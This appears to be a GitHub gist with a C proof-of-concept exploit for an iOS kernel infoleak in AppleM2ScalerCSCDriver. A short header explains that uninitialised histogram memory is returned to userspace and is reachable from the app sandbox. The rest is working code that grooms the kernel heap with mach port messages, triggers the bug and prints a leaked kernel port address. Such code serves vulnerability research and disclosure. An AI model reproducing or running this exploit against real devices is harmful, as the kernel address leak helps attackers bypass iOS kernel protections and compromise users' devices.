Skip to content

Instantly share code, notes, and snippets.

@Halo-Michael
Last active August 18, 2021 06:54
Show Gist options
  • Save Halo-Michael/89fa51c0c98f8a3374d6fea4a0b486e0 to your computer and use it in GitHub Desktop.
Save Halo-Michael/89fa51c0c98f8a3374d6fea4a0b486e0 to your computer and use it in GitHub Desktop.
#include <CoreFoundation/CoreFoundation.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#if 0
AppleM2ScalerCSCDriver Infoleak:
IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.
IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.
When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace.
This vulnerability is reachable from within the app sandbox on iOS.
Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.
Other kernel object addresses can be obtained using this vulnerability in similar ways.
#endif
#define ASSERT_KR(kr) do { \
if (kr != KERN_SUCCESS) { \
fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \
exit(EXIT_FAILURE); \
} \
} while(0)
//#define LEAK_SIZE 0x300
int LEAK_SIZE;
#define SPRAY_COUNT 0x80
mach_port_t create_port(void)
{
mach_port_t p = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
return p;
}
io_connect_t open_client(const char* serviceName, uint32_t type)
{
io_connect_t client = MACH_PORT_NULL;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName));
assert(service != MACH_PORT_NULL);
IOServiceOpen(service, mach_task_self(), type, &client);
assert(client != MACH_PORT_NULL);
IOObjectRelease(service);
return client;
}
void push_to_freelist(mach_port_t port)
{
uint32_t portCount = LEAK_SIZE / sizeof(void*);
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
} msg = {{0}};
mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t));
for (uint32_t i = 0; i < portCount; i++)
ports[i] = port;
size_t msgSize = sizeof(msg);
msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.header.msgh_size = msgSize;
msg.header.msgh_id = 'OOLP';
msg.body.msgh_descriptor_count = 1;
msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg.ool_ports.address = (void*)ports;
msg.ool_ports.count = portCount;
msg.ool_ports.deallocate = false;
msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND;
mach_port_t rcvPorts[SPRAY_COUNT];
for (uint32_t i = 0; i < SPRAY_COUNT; i++)
{
mach_port_t rcvPort = create_port();
rcvPorts[i] = rcvPort;
msg.header.msgh_remote_port = rcvPort;
//trigger kernel allocation of port array:
kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_KR(kr);
}
for (uint32_t i = 1; i < SPRAY_COUNT; i++)
mach_port_destroy(mach_task_self(), rcvPorts[i]);
free((void*)ports);
}
//The actual vulnerability:
void leak_bytes(void* buffer)
{
io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0);
kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL);
ASSERT_KR(kr);
IOServiceClose(client);
}
uint64_t find_port_addr(mach_port_t port)
{
uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE);
printf("Preparing heap\n");
push_to_freelist(port);
printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE);
leak_bytes(leak);
uint64_t addr = leak[1];
free(leak);
return addr;
}
int main(int argc, char* argv[], char* envp[])
{
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleM2ScalerCSCDriver"));
assert(MACH_PORT_VALID(service));
CFDictionaryRef data = IORegistryEntryCreateCFProperty(service, CFSTR("IOSurfaceAcceleratorCapabilitiesDict"), kCFAllocatorDefault, 0);
assert(data != NULL);
CFNumberRef value = CFDictionaryGetValue(data, CFSTR("kSurfaceAcceleratorCapabilitiesHistogramValues"));
CFRelease(data);
assert(value != NULL);
int intValue;
CFNumberGetValue(value, kCFNumberIntType, &intValue);
CFRelease(value);
LEAK_SIZE = intValue * 12;
mach_port_t port = create_port();
uint64_t port_addr = find_port_addr(port);
printf("Leaked port address: %p\n", (void*)port_addr);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment